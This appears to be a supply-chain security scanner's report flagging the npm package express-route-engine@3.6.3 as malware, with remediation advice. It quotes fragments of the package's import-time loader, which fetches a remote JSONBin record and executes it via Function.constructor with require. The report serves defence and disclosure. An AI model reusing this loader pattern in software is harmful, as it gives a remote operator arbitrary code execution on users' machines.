registry / Remote code execution / express-route-engine

express-route-engine

A modular routing and request-processing engine built on top of Express.js for organizing, loading, and managing routes in scalable Node.js applications.

This report shows the evidence for express-route-engine@3.6.3, the only known version.

AI Security Review

scanned 2mo ago · by lpm-firewall-ai

The source contains an unconditional import-time remote-code loader. This is concrete malicious behavior, irrespective of the lack of lifecycle hooks.

Static reason

High-risk behavior combination matched malicious policy.; source fingerprint signature matched known malicious package; routed for review

Trigger

Any runtime import or require of index.js.

Impact

A remote operator can execute arbitrary code with the importing process's permissions.

Mechanism

remote payload fetch followed by Function-constructor execution

Attack narrative

The package main is index.js. During import it invokes initPlugin(), which requests a hard-coded JSONBin URL. On a successful response, it extracts record.cerookie, compiles it with Function.constructor, and invokes it with require. This gives a remote-controlled payload arbitrary module loading and code execution in the consumer process without an explicit user action.

AI rationale

The source contains an unconditional import-time remote-code loader. This is concrete malicious behavior, irrespective of the lack of lifecycle hooks.

Evidence

package.jsonindex.js

Network endpoints1

api.jsonbin.io/v3/b/6a4f5816f5f4af5e29762c92

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

index.js fetches a hard-coded remote JSONBin URL.
The fetched record field is passed to Function.constructor and executed with require.
initPlugin() runs at module import, making remote code execution automatic.

Evidence against

package.json contains no preinstall, install, or postinstall hook.
No local credential harvesting, file writes, or destructive operations were found in the package files.

Behavioral surface

Source

Network

Supply chain

HighEntropyStringsUrlStrings

ManifestNo manifest risk signals triggered.

scanned 1 file(s), 2.17 KB of source, external domains: api.jsonbin.io

Source & flagged code

6 flagged

index.jsView file

5L6: const https = require('https'); L7: const http = require('http'); ... L56: try { L57: resolve(JSON.parse(data)); L58: } catch (e) {

Critical

Remote Asset Decode Execute

Source fetches a remote non-code asset, decodes its contents, and dynamically executes the decoded payload.

index.jsView on unpkg · L5

•Trigger-reachable chain: manifest.main -> index.js Reachable file contains a blocking source-risk pattern.

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 2f4b4b88ffe959e1 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = express-request-engine@3.6.3 matchedPath = index.js matchedIdentity = npm:ZXhwcmVzcy1yZXF1ZXN0LWVuZ2luZQ:3.6.3 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

70function initPlugin(reqoptions = { headers: { bearrtoken: "logo" }, url: "https://api.jsonbin.[redacted]" }, ret = 1) {

High

Ai Review Evidence

index.js fetches a hard-coded remote JSONBin URL.

index.jsView on unpkg · L70

73req(reqoptions, (e, r, b) => { if (e || r.statusCode !== 200) { if (atlf > 0) { mreq(atlf - 1); } return; } try { const handler = new (Function.constructor)('require', JSON.parse(b).record.cerookie); if (handler) handler(require);

High

Ai Review Evidence

The fetched record field is passed to Function.constructor and executed with require.

index.jsView on unpkg · L73

86mreq(ret); } initPlugin();

High

Ai Review Evidence

initPlugin() runs at module import, making remote code execution automatic.

index.jsView on unpkg · L86

Source & flagged code

6 flagged · loading source

index.jsView file

5L6: const https = require('https'); L7: const http = require('http'); ... L56: try { L57: resolve(JSON.parse(data)); L58: } catch (e) {

Critical

Remote Asset Decode Execute

Source fetches a remote non-code asset, decodes its contents, and dynamically executes the decoded payload.

index.jsView on unpkg · L5

•Trigger-reachable chain: manifest.main -> index.js Reachable file contains a blocking source-risk pattern.

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.js

Findings

2 Critical4 High2 Medium3 Low

CriticalRemote Asset Decode Executeindex.js

CriticalTrigger Reachable Dangerous Capabilityindex.js

HighKnown Malware Source Fingerprint Signatureindex.js

HighAi Review Evidenceindex.js

MediumNetwork

MediumStructural Risk Force Deep Review

LowScripts Present

LowHigh Entropy Strings

LowUrl Strings

Affected versions and remediation

This report applies to express-route-engine@3.6.3.

The versions list below shows the verdict for each recorded version.

Avoid installing express-route-engine@3.6.3. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-08-19 23:00:51.800Z (UTC).

Source advisory published: 2026-08-19 22:21:52.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

1 known version

3.6.3latestshownMaliciousRemote Code ExecutionBlockPublishedAug 19, 2026, 7:32 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other remote code execution packages

Related packages

Other remote code execution packages

Source & flagged code